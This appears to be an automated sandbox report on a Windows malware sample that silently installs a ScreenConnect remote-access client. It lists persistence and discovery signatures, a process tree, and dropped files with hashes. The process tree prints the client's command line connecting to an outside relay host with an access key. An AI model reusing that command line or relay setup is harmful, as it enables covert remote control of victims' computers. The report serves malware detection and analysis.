Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/10/2026, 16:56

General

  • Target
    2026-10-19_6f18d3890b2969fb3d391b179aa9155e_agent-tesla_amadey_elex_glassworm_hellokitty_hijackloade.exe
  • Size 5.5MB
  • Sample261020-vftw4acd76
  • SHA256 5daef78b6b81b6575deee00ad0765dfc08f77bf710d091437d938fd6acb67945
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-19_6f18d3890b2969fb3d391b179aa9155e_agent-tesla_amadey_elex_glassworm_hellokitty_hijackloade.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-19_6f18d3890b2969fb3d391b179aa9155e_agent-tesla_amadey_elex_glassworm_hellokitty_hijackloade.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1752
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\45bda1192eb458fc\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:1360
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3520
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 609D640EDD39F3C5FE4390AA6A3161FA C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2024
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIAF36.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240693265 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2568
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4464
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 42004886BC7870C81D243A51B9C8C67F
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5368
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 440388102C46CF6E5426AE21D2EF2E62 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3052
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3420
    • C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.cantsleephq-doms.top&p=8041&s=f8350340-9da8-497a-b9d8-4cc221d9ec98&k=BgIAAACkAABSU0ExAAgAAAEAAQD17vP4GeuY%2bSKplZx794fVbYQAOoS1oaR30yiPTl63O%2fH4jspu5qd7e4k4ymo4GOOd5lFTgcoaZNDfSDbiwQ6uTdKKpgEjlPsxQvKr7xybGX%2bA84EFbGIqjINx2USaDSbjlHjzki2OZy8%2bWycVHd29x8%2bSHGYI1kNZj48C66Kysvx%2fy0THN3MNJn4qgq8N2ONQlOC%2b1vgOnkHLq0jSA%2b7ThUU8Aa%2bg0sBztkn3U9WOPt14%2fzSGun%2bCxDsJkJ4X6SW3xjEmXsfwSjyrDDdi1sp6%2bWfp4IsBSCEAfWuI5AinnFQR9H5P1%2fTm7rIPTtRXlwchKjqAoYWMAOhR9E%2fGLN3T"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5684
      • C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\ScreenConnect.WindowsClient.exe" "RunRole" "6e9556b5-a1df-4fc4-846a-bf8af5cd0cda" "User"
        2⤵
        • Executes dropped EXE
        PID:5220
      • C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\ScreenConnect.WindowsClient.exe" "RunRole" "b9e200ad-297e-48e7-b4d8-3170c81858be" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5752

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          e58f6d0.rbs

          • Path C:\Config.Msi\e58f6d0.rbs
          • Size 214KB
          • SHA256 f0d14e7685e987e35cf4100ca81d30f48da944250fc623522a255cfed185d571
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\Client.Override.resources
          • Size 67KB
          • SHA256 ac0dd7b6437d25f233a0508685debf43d96595a11f5c568a509ab77d0a51847d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\app.config
          • Size 1KB
          • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (45bda1192eb458fc)\system.config
          • Size 960B
          • SHA256 2d0ec7e7e254a600ae253ec5b74021a0a468486eff8391225d7997d7e79e0001
          • MD5 SHA1 SHA512 TLSH

          MSIAF36.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIAF36.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIAF36.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIAF36.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIAF36.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIAF36.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\45bda1192eb458fc\ScreenConnect.ClientSetup.msi
          • Size 13.0MB
          • SHA256 30bb3ec3531684b66d6fd4d3076120e882805f4e2026ec560277d1c7a213e7c6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIFC6D.tmp

          • Path C:\Windows\Installer\MSIFC6D.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 2c8f36ba9aa9627e634ff4123ea2e93a21612b0d69f64322a91f27d3a4dfca66
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {e88cc336-61b9-424c-999c-cc54d0dd0c0d}_OnDiskSnapshotProp

          • Path \??\Volume{f0fdc120-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{e88cc336-61b9-424c-999c-cc54d0dd0c0d}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 379e960f62a3ed3cdcdd457db1b6748e24403a6a51463fd1500882f6513e92cb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1752-2-0x0000000074C00000-0x00000000753BC000-memory.dmp

          memory/1752-10-0x0000000074C00000-0x00000000753BC000-memory.dmp

          memory/1752-13-0x0000000074C00000-0x00000000753BC000-memory.dmp

          memory/1752-5-0x0000000002DD0000-0x0000000002DF2000-memory.dmp

          memory/1752-8-0x0000000005F10000-0x00000000064CA000-memory.dmp

          memory/1752-1-0x0000000001340000-0x0000000001348000-memory.dmp

          memory/1752-9-0x0000000074C00000-0x00000000753BC000-memory.dmp

          memory/1752-3-0x0000000005660000-0x0000000005952000-memory.dmp

          memory/1752-6-0x00000000053F0000-0x000000000559C000-memory.dmp

          memory/1752-7-0x0000000074C00000-0x00000000753BC000-memory.dmp

          memory/1752-4-0x0000000005360000-0x00000000053EC000-memory.dmp

          memory/1752-0-0x0000000074C12000-0x0000000074C13000-memory.dmp

          memory/2568-32-0x00000000051C0000-0x00000000051EE000-memory.dmp

          memory/2568-36-0x00000000051F0000-0x00000000051FA000-memory.dmp

          memory/2568-40-0x0000000005310000-0x000000000539C000-memory.dmp

          memory/2568-44-0x0000000005550000-0x00000000056FC000-memory.dmp

          memory/3520-54-0x00000298C8850000-0x00000298C91F4000-memory.dmp

          memory/5220-134-0x0000000002630000-0x0000000002666000-memory.dmp

          memory/5220-138-0x00000000024C0000-0x00000000024D8000-memory.dmp

          memory/5220-139-0x0000000002670000-0x0000000002688000-memory.dmp

          memory/5220-137-0x000000001B810000-0x000000001B998000-memory.dmp

          memory/5220-136-0x000000001B4D0000-0x000000001B67C000-memory.dmp

          memory/5220-135-0x000000001B290000-0x000000001B31C000-memory.dmp

          memory/5220-133-0x0000000000210000-0x00000000002A8000-memory.dmp

          memory/5684-117-0x00000000044F0000-0x0000000004526000-memory.dmp

          memory/5684-91-0x0000000001C20000-0x0000000001C38000-memory.dmp

          memory/5684-113-0x00000000044A0000-0x00000000044F0000-memory.dmp

          memory/5684-118-0x00000000047F0000-0x0000000004882000-memory.dmp

          memory/5684-120-0x0000000004450000-0x0000000004491000-memory.dmp

          memory/5684-122-0x00000000049E0000-0x0000000004AB5000-memory.dmp